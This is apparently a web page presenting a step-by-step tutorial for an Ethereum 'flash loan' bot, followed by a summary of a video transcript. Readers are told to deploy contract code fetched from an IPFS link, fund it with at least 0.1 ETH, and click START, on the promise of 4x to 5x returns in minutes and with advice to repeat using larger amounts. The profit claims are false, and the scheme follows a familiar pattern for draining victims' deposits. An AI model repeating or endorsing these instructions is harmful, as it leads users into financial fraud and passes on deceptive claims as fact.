Source link
1. Remix compiler – https://remix.ethereum.org/#lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.6.6+commit.6c089d02.js
2. Git clone link – https://github.com/Uniswap/v3-core
3. Correct bot code – https://ipfs.filebase.io/ipfs/QmSaBLLUewuMTDwgqUWwxfwPBB3a7LVKaE1Q1Pwih6n4gh
4. Official Metamask plugin – https://metamask.io/download/
Ethereum has millions of dollars in floating liquidity trapped in the main network, this tutorial explains how to get some of this liquidity using Remix IDE, Solidity smart contract, and your Metamask wallet!
Summary of steps:
1. Go over to remix.ethereum.org
2. Clone Git repository
3. Create new .sol file and paste code
4. Compile code with compiler version 0.6.6 (TICK INCLUDE NIGHTLY BUILD)
5. Link your metamask wallet using chrome extension
6. Fund at least 0.1 Eth for best results
7. Change environment to – Injected Metamask Provider
8. Edit token name and symbol – ETH
9. Deploy and confirm
10. Copy deployed address and paste in your metamask wallet and send at least 0.1 Eth for gas fee to deploy the smart contract
11. After confirming the sent transaction
12. Go back to remix.ethereum.org and click the arrow beside the deployed address and click START
13. Confirm the metamask popup
14. Refresh your wallet after 5-10 minutes and receive 4x to 5X of your wallet balance
15. Repeat process with higher Ethereum amount if no result after 10 mins, recommended – 0.1ETH
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date : 2024-12-18 16:03:10
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Summary of the Transcript
The transcript is an updated tutorial on how to use a Solidity smart contract to obtain an Ethereum flash loan. The author claims to have made over $2,200 using just $400 in the last tutorial and promises that readers can make even more by following these steps.
The tutorial begins by explaining the importance of using Uniswap V3 and removing the Mempool Router, which caused network errors in the previous tutorial. The author then walks readers through the process of cloning the Uniswap V3 repository, creating a new file, and compiling the smart contract code using Remix.
The tutorial also covers how to deploy the smart contract using MetaMask, fund the contract with at least 0.1 Ethereum, and send the contract address to receive the flash loan. The author emphasizes the importance of using a high amount of Ethereum to avoid contract completion errors and recommends using a minimum of 0.1 Ethereum.
The final step is to start the flash loan process, which utilizes the Ethereum balance to obtain Ethereum from Uniswap liquidity pool. The author claims to have increased their wallet balance to 0.5 Ethereum after the transaction.
Web3 Facts
- Uniswap is a popular decentralized exchange (DEX) on the Ethereum blockchain that allows users to trade Ethereum-based tokens.
- Mempool Router is a tool that helps to simplify the process of interacting with smart contracts, but it can cause network errors due to congestion.
- Flash loans are a type of loan that allows users to borrow and return the borrowed amount within a short period of time, often within a few seconds.
- Ethereum is a decentralized blockchain platform that enables the creation of smart contracts and decentralized applications (dApps).